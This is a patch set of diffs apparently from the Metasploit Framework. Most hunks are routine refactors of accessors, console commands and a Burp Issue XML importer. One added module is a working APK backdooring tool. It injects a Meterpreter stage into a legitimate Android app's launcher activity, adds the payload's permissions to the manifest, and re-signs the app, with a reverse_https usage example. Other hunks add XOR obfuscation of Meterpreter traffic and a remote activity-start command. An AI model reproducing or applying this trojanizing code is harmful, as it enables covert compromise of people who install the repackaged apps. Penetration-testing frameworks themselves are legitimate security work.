|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
def chost
|
||||
datastore['CHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the remote port
|
||||
# Returns the TCP connection timeout
|
||||
#
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
def connect_timeout
|
||||
datastore['ConnectTimeout']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port for outgoing connections
|
||||
#
|
||||
def cport
|
||||
datastore['CPORT']
|
||||
end
|
||||
|
||||
#
|
||||
@@ -234,18 +244,30 @@ module Exploit::Remote::Tcp
|
||||
datastore['LPORT']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local host for outgoing connections
|
||||
#
|
||||
def chost
|
||||
datastore['CHOST']
|
||||
# Returns the rhost:rport
|
||||
def peer
|
||||
"#{rhost}:#{rport}"
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port for outgoing connections
|
||||
# Returns the proxy configuration
|
||||
#
|
||||
def cport
|
||||
datastore['CPORT']
|
||||
def proxies
|
||||
datastore['Proxies']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
#
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the remote port
|
||||
#
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
#
|
||||
@@ -262,20 +284,6 @@ module Exploit::Remote::Tcp
|
||||
datastore['SSLVersion']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the proxy configuration
|
||||
#
|
||||
def proxies
|
||||
datastore['Proxies']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the TCP connection timeout
|
||||
#
|
||||
def connect_timeout
|
||||
datastore['ConnectTimeout']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the SSL certification verification mechanism
|
||||
#
|
||||
|
||||
+12
-13
@@ -107,17 +107,17 @@ module Exploit::Remote::Udp
|
||||
##
|
||||
|
||||
#
|
||||
# Returns the target host
|
||||
# Returns the local host for outgoing connections
|
||||
#
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
def chost
|
||||
datastore['CHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the remote port
|
||||
# Returns the local port for outgoing connections
|
||||
#
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
def cport
|
||||
datastore['CPORT']
|
||||
end
|
||||
|
||||
#
|
||||
@@ -135,20 +135,19 @@ module Exploit::Remote::Udp
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local host for outgoing connections
|
||||
# Returns the target host
|
||||
#
|
||||
def chost
|
||||
datastore['CHOST']
|
||||
def rhost
|
||||
datastore['RHOST']
|
||||
end
|
||||
|
||||
#
|
||||
# Returns the local port for outgoing connections
|
||||
# Returns the remote port
|
||||
#
|
||||
def cport
|
||||
datastore['CPORT']
|
||||
def rport
|
||||
datastore['RPORT']
|
||||
end
|
||||
|
||||
|
||||
protected
|
||||
|
||||
attr_accessor :udp_sock
|
||||
|
||||
@@ -13,11 +13,11 @@ module Msf::Module::UI::Message
|
||||
end
|
||||
|
||||
def print_prefix
|
||||
ret = ''
|
||||
prefix = ''
|
||||
if (datastore['TimestampOutput'] =~ /^(t|y|1)/i) || (
|
||||
framework && framework.datastore['TimestampOutput'] =~ /^(t|y|1)/i
|
||||
)
|
||||
prefix = "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] "
|
||||
prefix << "[#{Time.now.strftime("%Y.%m.%d-%H:%M:%S")}] "
|
||||
|
||||
xn ||= datastore['ExploitNumber']
|
||||
xn ||= framework.datastore['ExploitNumber']
|
||||
@@ -25,9 +25,8 @@ module Msf::Module::UI::Message
|
||||
prefix << "[%04d] " % xn
|
||||
end
|
||||
|
||||
ret = prefix
|
||||
end
|
||||
ret
|
||||
prefix
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
@@ -37,4 +36,4 @@ module Msf::Module::UI::Message
|
||||
def print_warning(msg='')
|
||||
super(print_prefix + msg)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,206 @@
|
||||
# -*- coding: binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex/text'
|
||||
require 'tmpdir'
|
||||
require 'nokogiri'
|
||||
require 'fileutils'
|
||||
require 'optparse'
|
||||
require 'open3'
|
||||
|
||||
module Msf::Payload::Apk
|
||||
|
||||
class ApkBackdoor
|
||||
include Msf::Payload::Apk
|
||||
def backdoor_apk(apk, payload)
|
||||
backdoor_payload(apk, payload)
|
||||
end
|
||||
end
|
||||
|
||||
def print_status(msg='')
|
||||
$stderr.puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
def print_error(msg='')
|
||||
$stderr.puts "[-] #{msg}"
|
||||
end
|
||||
|
||||
def usage
|
||||
print_error "Usage: #{$0} -x [target.apk] [msfvenom options]\n"
|
||||
print_error "e.g. #{$0} -x messenger.apk -p android/meterpreter/reverse_https LHOST=192.168.1.1 LPORT=8443\n"
|
||||
end
|
||||
|
||||
def run_cmd(cmd)
|
||||
begin
|
||||
stdin, stdout, stderr = Open3.popen3(cmd)
|
||||
return stdout.read + stderr.read
|
||||
rescue Errno::ENOENT
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
# Find the activity that is opened when you click the app icon
|
||||
def find_launcher_activity(amanifest)
|
||||
package = amanifest.xpath("//manifest").first['package']
|
||||
activities = amanifest.xpath("//activity|//activity-alias")
|
||||
for activity in activities
|
||||
activityname = activity.attribute("targetActivity")
|
||||
unless activityname
|
||||
activityname = activity.attribute("name")
|
||||
end
|
||||
category = activity.search('category')
|
||||
unless category
|
||||
next
|
||||
end
|
||||
for cat in category
|
||||
categoryname = cat.attribute('name')
|
||||
if (categoryname.to_s == 'android.intent.category.LAUNCHER' || categoryname.to_s == 'android.intent.action.MAIN')
|
||||
name = activityname.to_s
|
||||
if name.start_with?('.')
|
||||
name = package + name
|
||||
end
|
||||
return name
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def fix_manifest(tempdir)
|
||||
payload_permissions=[]
|
||||
|
||||
#Load payload's permissions
|
||||
File.open("#{tempdir}/payload/AndroidManifest.xml","rb"){|file|
|
||||
k=File.read(file)
|
||||
payload_manifest=Nokogiri::XML(k)
|
||||
permissions = payload_manifest.xpath("//manifest/uses-permission")
|
||||
for permission in permissions
|
||||
name=permission.attribute("name")
|
||||
payload_permissions << name.to_s
|
||||
end
|
||||
}
|
||||
|
||||
original_permissions=[]
|
||||
apk_mani=""
|
||||
|
||||
#Load original apk's permissions
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml","rb"){|file2|
|
||||
k=File.read(file2)
|
||||
apk_mani=k
|
||||
original_manifest=Nokogiri::XML(k)
|
||||
permissions = original_manifest.xpath("//manifest/uses-permission")
|
||||
for permission in permissions
|
||||
name=permission.attribute("name")
|
||||
original_permissions << name.to_s
|
||||
end
|
||||
}
|
||||
|
||||
#Get permissions that are not in original APK
|
||||
add_permissions=[]
|
||||
for permission in payload_permissions
|
||||
if !(original_permissions.include? permission)
|
||||
print_status("Adding #{permission}")
|
||||
add_permissions << permission
|
||||
end
|
||||
end
|
||||
|
||||
inject=0
|
||||
new_mani=""
|
||||
#Inject permissions in original APK's manifest
|
||||
for line in apk_mani.split("\n")
|
||||
if (line.include? "uses-permission" and inject==0)
|
||||
for permission in add_permissions
|
||||
new_mani << '<uses-permission android:name="'+permission+'"/>'+"\n"
|
||||
end
|
||||
new_mani << line+"\n"
|
||||
inject=1
|
||||
else
|
||||
new_mani << line+"\n"
|
||||
end
|
||||
end
|
||||
File.open("#{tempdir}/original/AndroidManifest.xml", "wb") {|file| file.puts new_mani }
|
||||
end
|
||||
|
||||
def backdoor_payload(apkfile, raw_payload)
|
||||
unless apkfile && File.readable?(apkfile)
|
||||
usage
|
||||
raise RuntimeError, "Invalid template: #{apkfile}"
|
||||
end
|
||||
|
||||
jarsigner = run_cmd("jarsigner")
|
||||
unless jarsigner != nil
|
||||
raise RuntimeError, "jarsigner not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
apktool = run_cmd("apktool -version")
|
||||
unless apktool != nil
|
||||
raise RuntimeError, "apktool not found. If it's not in your PATH, please add it."
|
||||
end
|
||||
|
||||
apk_v = Gem::Version.new(apktool)
|
||||
unless apk_v >= Gem::Version.new('2.0.1')
|
||||
raise RuntimeError, "apktool version #{apk_v} not supported, please download at least version 2.0.1."
|
||||
end
|
||||
|
||||
#Create temporary directory where work will be done
|
||||
tempdir = Dir.mktmpdir
|
||||
|
||||
File.open("#{tempdir}/payload.apk", "wb") {|file| file.puts raw_payload }
|
||||
FileUtils.cp apkfile, "#{tempdir}/original.apk"
|
||||
|
||||
print_status "Decompiling original APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/original.apk -o #{tempdir}/original")
|
||||
print_status "Decompiling payload APK..\n"
|
||||
run_cmd("apktool d #{tempdir}/payload.apk -o #{tempdir}/payload")
|
||||
|
||||
f = File.open("#{tempdir}/original/AndroidManifest.xml")
|
||||
amanifest = Nokogiri::XML(f)
|
||||
f.close
|
||||
|
||||
print_status "Locating hook point..\n"
|
||||
launcheractivity = find_launcher_activity(amanifest)
|
||||
unless launcheractivity
|
||||
raise RuntimeError, "Unable to find hookable activity in #{apkfile}\n"
|
||||
end
|
||||
smalifile = "#{tempdir}/original/smali*/" + launcheractivity.gsub(/\./, "/") + ".smali"
|
||||
smalifiles = Dir.glob(smalifile)
|
||||
for smalifile in smalifiles
|
||||
if File.readable?(smalifile)
|
||||
activitysmali = File.read(smalifile)
|
||||
end
|
||||
end
|
||||
|
||||
unless activitysmali
|
||||
raise RuntimeError, "Unable to find hook point in #{smalifiles}\n"
|
||||
end
|
||||
|
||||
entrypoint = ';->onCreate(Landroid/os/Bundle;)V'
|
||||
unless activitysmali.include? entrypoint
|
||||
raise RuntimeError, "Unable to find onCreate() in #{smalifile}\n"
|
||||
end
|
||||
|
||||
print_status "Copying payload files..\n"
|
||||
FileUtils.mkdir_p("#{tempdir}/original/smali/com/metasploit/stage/")
|
||||
FileUtils.cp Dir.glob("#{tempdir}/payload/smali/com/metasploit/stage/Payload*.smali"), "#{tempdir}/original/smali/com/metasploit/stage/"
|
||||
|
||||
payloadhook = entrypoint + "\n invoke-static {p0}, Lcom/metasploit/stage/Payload;->start(Landroid/content/Context;)V"
|
||||
hookedsmali = activitysmali.gsub(entrypoint, payloadhook)
|
||||
|
||||
print_status "Loading #{smalifile} and injecting payload..\n"
|
||||
File.open(smalifile, "wb") {|file| file.puts hookedsmali }
|
||||
injected_apk = "#{tempdir}/output.apk"
|
||||
print_status "Poisoning the manifest with meterpreter permissions..\n"
|
||||
fix_manifest(tempdir)
|
||||
|
||||
print_status "Rebuilding #{apkfile} with meterpreter injection as #{injected_apk}\n"
|
||||
run_cmd("apktool b -o #{injected_apk} #{tempdir}/original")
|
||||
print_status "Signing #{injected_apk}\n"
|
||||
run_cmd("jarsigner -verbose -keystore ~/.android/debug.keystore -storepass android -keypass android -digestalg SHA1 -sigalg MD5withRSA #{injected_apk} androiddebugkey")
|
||||
|
||||
outputapk = File.read(injected_apk)
|
||||
|
||||
FileUtils.remove_entry tempdir
|
||||
outputapk
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
@@ -1,4 +1,5 @@
|
||||
# -*- coding: binary -*-
|
||||
require 'msf/core/payload/apk'
|
||||
require 'active_support/core_ext/numeric/bytes'
|
||||
module Msf
|
||||
|
||||
@@ -305,9 +306,15 @@ module Msf
|
||||
# @return [String] A string containing the bytes of the payload in the format selected
|
||||
def generate_payload
|
||||
if platform == "java" or arch == "java" or payload.start_with? "java/"
|
||||
p = generate_java_payload
|
||||
cli_print "Payload size: #{p.length} bytes"
|
||||
p
|
||||
raw_payload = generate_java_payload
|
||||
cli_print "Payload size: #{raw_payload.length} bytes"
|
||||
raw_payload
|
||||
elsif payload.start_with? "android/" and not template.blank?
|
||||
cli_print "Using APK template: #{template}"
|
||||
apk_backdoor = ::Msf::Payload::Apk::ApkBackdoor::new()
|
||||
raw_payload = apk_backdoor.backdoor_apk(template, generate_raw_payload)
|
||||
cli_print "Payload size: #{raw_payload.length} bytes"
|
||||
raw_payload
|
||||
else
|
||||
raw_payload = generate_raw_payload
|
||||
raw_payload = add_shellcode(raw_payload)
|
||||
|
||||
@@ -34,18 +34,19 @@ class Core
|
||||
|
||||
# Session command options
|
||||
@@sessions_opts = Rex::Parser::Arguments.new(
|
||||
"-c" => [ true, "Run a command on the session given with -i, or all"],
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Interact with the supplied session ID" ],
|
||||
"-l" => [ false, "List all active sessions" ],
|
||||
"-v" => [ false, "List verbose fields" ],
|
||||
"-q" => [ false, "Quiet mode" ],
|
||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||
"-K" => [ false, "Terminate all sessions" ],
|
||||
"-s" => [ true, "Run a script on the session given with -i, or all"],
|
||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all"],
|
||||
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
||||
"-t" => [ true, "Set a response timeout (default: 15)"])
|
||||
"-c" => [ true, "Run a command on the session given with -i, or all" ],
|
||||
"-h" => [ false, "Help banner" ],
|
||||
"-i" => [ true, "Interact with the supplied session ID " ],
|
||||
"-l" => [ false, "List all active sessions" ],
|
||||
"-v" => [ false, "List sessions in verbose mode" ],
|
||||
"-q" => [ false, "Quiet mode" ],
|
||||
"-k" => [ true, "Terminate sessions by session ID and/or range" ],
|
||||
"-K" => [ false, "Terminate all sessions" ],
|
||||
"-s" => [ true, "Run a script on the session given with -i, or all" ],
|
||||
"-r" => [ false, "Reset the ring buffer for the session given with -i, or all" ],
|
||||
"-u" => [ true, "Upgrade a shell to a meterpreter session on many platforms" ],
|
||||
"-t" => [ true, "Set a response timeout (default: 15)" ],
|
||||
"-x" => [ false, "Show extended information in the session table" ])
|
||||
|
||||
@@jobs_opts = Rex::Parser::Arguments.new(
|
||||
"-h" => [ false, "Help banner." ],
|
||||
@@ -1306,65 +1307,57 @@ class Core
|
||||
return false
|
||||
end
|
||||
|
||||
arg = args.shift
|
||||
case arg
|
||||
action = args.shift
|
||||
case action
|
||||
|
||||
when "add", "remove", "del"
|
||||
if (args.length < 3)
|
||||
print_error("Missing arguments to route #{arg}.")
|
||||
subnet = args.shift
|
||||
subnet,cidr_mask = subnet.split("/")
|
||||
|
||||
if cidr_mask
|
||||
netmask = Rex::Socket.addr_ctoa(cidr_mask.to_i)
|
||||
else
|
||||
netmask = args.shift
|
||||
end
|
||||
|
||||
gateway_name = args.shift
|
||||
|
||||
if (subnet.nil? || netmask.nil? || gateway_name.nil?)
|
||||
print_error("Missing arguments to route #{action}.")
|
||||
return false
|
||||
end
|
||||
|
||||
# Satisfy check to see that formatting is correct
|
||||
unless Rex::Socket::RangeWalker.new(args[0]).length == 1
|
||||
print_error "Invalid IP Address"
|
||||
return false
|
||||
end
|
||||
gateway = nil
|
||||
|
||||
unless Rex::Socket::RangeWalker.new(args[1]).length == 1
|
||||
print_error "Invalid Subnet mask"
|
||||
return false
|
||||
end
|
||||
|
||||
gw = nil
|
||||
|
||||
# Satisfy case problems
|
||||
args[2] = "Local" if (args[2] =~ /local/i)
|
||||
|
||||
begin
|
||||
# If the supplied gateway is a global Comm, use it.
|
||||
if (Rex::Socket::Comm.const_defined?(args[2]))
|
||||
gw = Rex::Socket::Comm.const_get(args[2])
|
||||
end
|
||||
rescue NameError
|
||||
end
|
||||
|
||||
# If we still don't have a gateway, check if it's a session.
|
||||
if ((gw == nil) and
|
||||
(session = framework.sessions.get(args[2])) and
|
||||
(session.kind_of?(Msf::Session::Comm)))
|
||||
gw = session
|
||||
elsif (gw == nil)
|
||||
print_error("Invalid gateway specified.")
|
||||
return false
|
||||
end
|
||||
|
||||
if arg == "remove" or arg == "del"
|
||||
worked = Rex::Socket::SwitchBoard.remove_route(args[0], args[1], gw)
|
||||
if worked
|
||||
print_status("Route removed")
|
||||
case gateway_name
|
||||
when /local/i
|
||||
gateway = Rex::Socket::Comm::Local
|
||||
when /^[0-9]+$/
|
||||
session = framework.sessions.get(gateway_name)
|
||||
if session.kind_of?(Msf::Session::Comm)
|
||||
gateway = session
|
||||
elsif session.nil?
|
||||
print_error("Not a session: #{gateway_name}")
|
||||
return false
|
||||
else
|
||||
print_error("Route not found")
|
||||
print_error("Cannout route through specified session (not a Comm)")
|
||||
return false
|
||||
end
|
||||
else
|
||||
worked = Rex::Socket::SwitchBoard.add_route(args[0], args[1], gw)
|
||||
if worked
|
||||
print_status("Route added")
|
||||
else
|
||||
print_error("Route already exists")
|
||||
end
|
||||
print_error("Invalid gateway")
|
||||
return false
|
||||
end
|
||||
|
||||
msg = "Route "
|
||||
if action == "remove" or action == "del"
|
||||
worked = Rex::Socket::SwitchBoard.remove_route(subnet, netmask, gateway)
|
||||
msg << (worked ? "removed" : "not found")
|
||||
else
|
||||
worked = Rex::Socket::SwitchBoard.add_route(subnet, netmask, gateway)
|
||||
msg << (worked ? "added" : "already exists")
|
||||
end
|
||||
print_status(msg)
|
||||
|
||||
when "get"
|
||||
if (args.length == 0)
|
||||
print_error("You must supply an IP address.")
|
||||
@@ -1757,12 +1750,13 @@ class Core
|
||||
#
|
||||
def cmd_sessions(*args)
|
||||
begin
|
||||
method = nil
|
||||
quiet = false
|
||||
verbose = false
|
||||
sid = nil
|
||||
cmds = []
|
||||
script = nil
|
||||
method = nil
|
||||
quiet = false
|
||||
show_extended = false
|
||||
verbose = false
|
||||
sid = nil
|
||||
cmds = []
|
||||
script = nil
|
||||
reset_ring = false
|
||||
response_timeout = 15
|
||||
|
||||
@@ -1779,6 +1773,8 @@ class Core
|
||||
when "-c"
|
||||
method = 'cmd'
|
||||
cmds << val if val
|
||||
when "-x"
|
||||
show_extended = true
|
||||
when "-v"
|
||||
verbose = true
|
||||
# Do something with the supplied session identifier instead of
|
||||
@@ -2041,7 +2037,7 @@ class Core
|
||||
end
|
||||
when 'list',nil
|
||||
print_line
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :verbose => verbose))
|
||||
print(Serializer::ReadableText.dump_sessions(framework, :show_extended => show_extended, :verbose => verbose))
|
||||
print_line
|
||||
end
|
||||
|
||||
|
||||
@@ -1647,6 +1647,7 @@ class Db
|
||||
print_line " Amap Log -m"
|
||||
print_line " Appscan"
|
||||
print_line " Burp Session XML"
|
||||
print_line " Burp Issue XML"
|
||||
print_line " CI"
|
||||
print_line " Foundstone"
|
||||
print_line " FusionVM XML"
|
||||
|
||||
@@ -193,13 +193,13 @@ module ModuleCommandDispatcher
|
||||
'LocalOutput' => driver.output)
|
||||
if (code and code.kind_of?(Array) and code.length > 1)
|
||||
if (code == Msf::Exploit::CheckCode::Vulnerable)
|
||||
print_good("#{peer} - #{code[1]}")
|
||||
print_good("#{code[1]}")
|
||||
report_vuln(instance)
|
||||
else
|
||||
print_status("#{peer} - #{code[1]}")
|
||||
print_status("#{code[1]}")
|
||||
end
|
||||
else
|
||||
msg = "#{peer} - Check failed: The state could not be determined."
|
||||
msg = "Check failed: The state could not be determined."
|
||||
print_error(msg)
|
||||
elog("#{msg}\n#{caller.join("\n")}")
|
||||
end
|
||||
@@ -213,7 +213,7 @@ module ModuleCommandDispatcher
|
||||
print_error("Check failed: #{e.message}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
rescue ::Exception => e
|
||||
print_error("#{peer} - Check failed: #{e.class} #{e}")
|
||||
print_error("Check failed: #{e.class} #{e}")
|
||||
elog("#{e.message}\n#{e.backtrace.join("\n")}")
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,139 @@
|
||||
# -*- coding: binary -*-
|
||||
require "rex/parser/nokogiri_doc_mixin"
|
||||
require 'uri'
|
||||
|
||||
module Rex
|
||||
module Parser
|
||||
|
||||
# If Nokogiri is available, define Burp Issue document class.
|
||||
load_nokogiri && class BurpIssueDocument < Nokogiri::XML::SAX::Document
|
||||
|
||||
include NokogiriDocMixin
|
||||
|
||||
def start_element(name=nil,attrs=[])
|
||||
attrs = normalize_attrs(attrs)
|
||||
block = @block
|
||||
@state[:current_tag][name] = true
|
||||
case name
|
||||
when "host", "name", "info", "issueDetail", "references"
|
||||
@state[:has_text] = true
|
||||
end
|
||||
end
|
||||
|
||||
def end_element(name=nil)
|
||||
block = @block
|
||||
case name
|
||||
when "issue"
|
||||
report_web_host_info
|
||||
report_web_service_info
|
||||
report_vuln
|
||||
# Reset the state once we close a host
|
||||
@state = @state.select {|k| [:current_tag].include? k}
|
||||
when "host"
|
||||
@state[:has_text] = false
|
||||
collect_host_info
|
||||
@text = nil
|
||||
when "name"
|
||||
@state[:has_text] = false
|
||||
collect_name
|
||||
@text = nil
|
||||
when "issueDetail"
|
||||
@state[:has_text] = false
|
||||
collect_issue_detail
|
||||
@text = nil
|
||||
when "references"
|
||||
@state[:has_text] = false
|
||||
collect_references
|
||||
@text = nil
|
||||
end
|
||||
@state[:current_tag].delete name
|
||||
end
|
||||
|
||||
def collect_host_info
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
uri = URI(@text)
|
||||
|
||||
@state[:host] = uri.host
|
||||
@state[:service_name] = uri.scheme
|
||||
@state[:proto] = "tcp"
|
||||
|
||||
case @state[:service_name]
|
||||
when "http"
|
||||
@state[:port] = 80
|
||||
when "https"
|
||||
@state[:port] = 443
|
||||
end
|
||||
end
|
||||
|
||||
def collect_name
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
@state[:vuln_name] = @text
|
||||
end
|
||||
|
||||
def collect_issue_detail
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
@state[:issue_detail] = @text
|
||||
end
|
||||
|
||||
def collect_references
|
||||
return unless in_issue
|
||||
return unless has_text
|
||||
uri = @text.match('href=[\'"]?([^\'" >]+)')[1]
|
||||
@state[:refs] = ["URI-#{uri}"]
|
||||
end
|
||||
|
||||
def report_web_host_info
|
||||
return unless @state[:host]
|
||||
address = Rex::Socket.resolv_to_dotted(@state[:host]) rescue nil
|
||||
host_info = {:workspace => @args[:wspace]}
|
||||
host_info[:address] = address
|
||||
host_info[:name] = @state[:host]
|
||||
db_report(:host, host_info)
|
||||
end
|
||||
|
||||
def report_web_service_info
|
||||
return unless @state[:host]
|
||||
return unless @state[:port]
|
||||
return unless @state[:proto]
|
||||
return unless @state[:service_name]
|
||||
service_info = {}
|
||||
service_info[:host] = @state[:host]
|
||||
service_info[:port] = @state[:port]
|
||||
service_info[:proto] = @state[:proto]
|
||||
service_info[:name] = @state[:service_name]
|
||||
@state[:service_object] = db_report(:service, service_info)
|
||||
end
|
||||
|
||||
def report_vuln
|
||||
return unless @state[:service_object]
|
||||
return unless @state[:vuln_name]
|
||||
return unless @state[:issue_detail]
|
||||
return unless @state[:refs]
|
||||
vuln_info = {}
|
||||
vuln_info[:service_id] = @state[:service_object].id
|
||||
vuln_info[:host] = @state[:host]
|
||||
vuln_info[:name] = @state[:vuln_name]
|
||||
vuln_info[:info] = @state[:issue_detail]
|
||||
vuln_info[:refs] = @state[:refs]
|
||||
@state[:vuln_object] = db_report(:vuln, vuln_info)
|
||||
end
|
||||
|
||||
def in_issue
|
||||
return false unless in_tag("issue")
|
||||
return false unless in_tag("issues")
|
||||
return true
|
||||
end
|
||||
|
||||
def has_text
|
||||
return false unless @text
|
||||
return false if @text.strip.empty?
|
||||
@text = @text.strip
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -157,7 +157,7 @@ module Rex
|
||||
host_info = {:workspace => @args[:wspace]}
|
||||
host_info[:address] = @state[:web_site].service.host.address
|
||||
host_info[:name] = @state[:uri].host
|
||||
report_db(:host, host_info)
|
||||
db_report(:host, host_info)
|
||||
end
|
||||
|
||||
def report_web_service_info
|
||||
|
||||
@@ -200,6 +200,11 @@ module Parser
|
||||
return attr_pairs
|
||||
end
|
||||
|
||||
# Removes HTML from a string
|
||||
def strip_html_tags(text)
|
||||
return text.gsub!(/(<[^>]*>)|\n|\t/s) {" "}
|
||||
end
|
||||
|
||||
# This breaks xml-encoded characters, so need to append.
|
||||
# It's on the end_element tag name to turn the appending
|
||||
# off and clear out the data.
|
||||
|
||||
@@ -242,6 +242,17 @@ class Android < Extension
|
||||
response.get_tlv(TLV_TYPE_CHECK_ROOT_BOOL).value
|
||||
end
|
||||
|
||||
def activity_start(uri)
|
||||
request = Packet.create_request('activity_start')
|
||||
request.add_tlv(TLV_TYPE_URI_STRING, uri)
|
||||
response = client.send_request(request)
|
||||
if response.get_tlv(TLV_TYPE_ACTIVITY_START_RESULT).value
|
||||
return nil
|
||||
else
|
||||
return response.get_tlv(TLV_TYPE_ACTIVITY_START_ERROR).value
|
||||
end
|
||||
end
|
||||
|
||||
def send_sms(dest, body, dr)
|
||||
request = Packet.create_request('send_sms')
|
||||
request.add_tlv(TLV_TYPE_SMS_ADDRESS, dest)
|
||||
|
||||
@@ -76,8 +76,9 @@ TLV_TYPE_CELL_BASE_LONG = TLV_META_TYPE_UINT | (TLV_EXTENSIONS
|
||||
TLV_TYPE_CELL_NET_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9073)
|
||||
TLV_TYPE_CELL_SYSTEM_ID = TLV_META_TYPE_UINT | (TLV_EXTENSIONS + 9074)
|
||||
|
||||
|
||||
|
||||
TLV_TYPE_URI_STRING = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9101)
|
||||
TLV_TYPE_ACTIVITY_START_RESULT = TLV_META_TYPE_BOOL | (TLV_EXTENSIONS + 9102)
|
||||
TLV_TYPE_ACTIVITY_START_ERROR = TLV_META_TYPE_STRING | (TLV_EXTENSIONS + 9103)
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -665,6 +665,44 @@ class Packet < GroupTlv
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Override the function that creates the raw byte stream for
|
||||
# sending so that it generates an XOR key, uses it to scramble
|
||||
# the serialized TLV content, and then returns the key plus the
|
||||
# scrambled data as the payload.
|
||||
#
|
||||
def to_r
|
||||
raw = super
|
||||
xor_key = rand(254) + 1
|
||||
xor_key |= (rand(254) + 1) << 8
|
||||
xor_key |= (rand(254) + 1) << 16
|
||||
xor_key |= (rand(254) + 1) << 24
|
||||
result = [xor_key].pack('N') + xor_bytes(xor_key, raw)
|
||||
result
|
||||
end
|
||||
|
||||
#
|
||||
# Override the function that reads from a raw byte stream so
|
||||
# that the XORing of data is included in the process prior to
|
||||
# passing it on to the default functionality that can parse
|
||||
# the TLV values.
|
||||
#
|
||||
def from_r(bytes)
|
||||
xor_key = bytes[0,4].unpack('N')[0]
|
||||
super(xor_bytes(xor_key, bytes[4, bytes.length]))
|
||||
end
|
||||
|
||||
#
|
||||
# Xor a set of bytes with a given DWORD xor key.
|
||||
#
|
||||
def xor_bytes(xor_key, bytes)
|
||||
result = ''
|
||||
bytes.bytes.zip([xor_key].pack('V').bytes.cycle).each do |b|
|
||||
result << (b[0].ord ^ b[1].ord).chr
|
||||
end
|
||||
result
|
||||
end
|
||||
|
||||
##
|
||||
#
|
||||
# Conditionals
|
||||
|
||||
@@ -117,8 +117,7 @@ module PacketDispatcher
|
||||
|
||||
self.last_checkin = Time.now
|
||||
|
||||
# If the first 4 bytes are "RECV", return the oldest packet from the outbound queue
|
||||
if req.body[0,4] == "RECV"
|
||||
if req.method == 'GET'
|
||||
rpkt = send_queue.shift
|
||||
resp.body = rpkt || ''
|
||||
begin
|
||||
@@ -176,6 +175,7 @@ module PacketDispatcher
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
if bytes.to_i == 0
|
||||
# Mark the session itself as dead
|
||||
self.alive = false
|
||||
|
||||
@@ -12,6 +12,11 @@ module Meterpreter
|
||||
###
|
||||
class PacketParser
|
||||
|
||||
# 4 byte xor
|
||||
# 4 byte length
|
||||
# 4 byte type
|
||||
HEADER_SIZE = 12
|
||||
|
||||
#
|
||||
# Initializes the packet parser context with an optional cipher.
|
||||
#
|
||||
@@ -26,7 +31,7 @@ class PacketParser
|
||||
#
|
||||
def reset
|
||||
self.raw = ''
|
||||
self.hdr_length_left = 8
|
||||
self.hdr_length_left = HEADER_SIZE
|
||||
self.payload_length_left = 0
|
||||
end
|
||||
|
||||
@@ -34,6 +39,9 @@ class PacketParser
|
||||
# Reads data from the wire and parse as much of the packet as possible.
|
||||
#
|
||||
def recv(sock)
|
||||
# Create a typeless packet
|
||||
packet = Packet.new(0)
|
||||
|
||||
if (self.hdr_length_left > 0)
|
||||
buf = sock.read(self.hdr_length_left)
|
||||
|
||||
@@ -49,7 +57,10 @@ class PacketParser
|
||||
# payload length left to the number of bytes
|
||||
# specified in the length
|
||||
if (self.hdr_length_left == 0)
|
||||
self.payload_length_left = raw.unpack("N")[0] - 8
|
||||
xor_key = raw[0, 4].unpack('N')[0]
|
||||
length_bytes = packet.xor_bytes(xor_key, raw[4, 4])
|
||||
# header size doesn't include the xor key, which is always tacked on the front
|
||||
self.payload_length_left = length_bytes.unpack("N")[0] - (HEADER_SIZE - 4)
|
||||
end
|
||||
elsif (self.payload_length_left > 0)
|
||||
buf = sock.read(self.payload_length_left)
|
||||
@@ -67,14 +78,11 @@ class PacketParser
|
||||
if ((self.hdr_length_left == 0) &&
|
||||
(self.payload_length_left == 0))
|
||||
|
||||
# Create a typeless packet
|
||||
packet = Packet.new(0)
|
||||
|
||||
# TODO: cipher decryption
|
||||
if (cipher)
|
||||
end
|
||||
|
||||
# Serialize the packet from the raw buffer
|
||||
# Deserialize the packet from the raw buffer
|
||||
packet.from_r(self.raw)
|
||||
|
||||
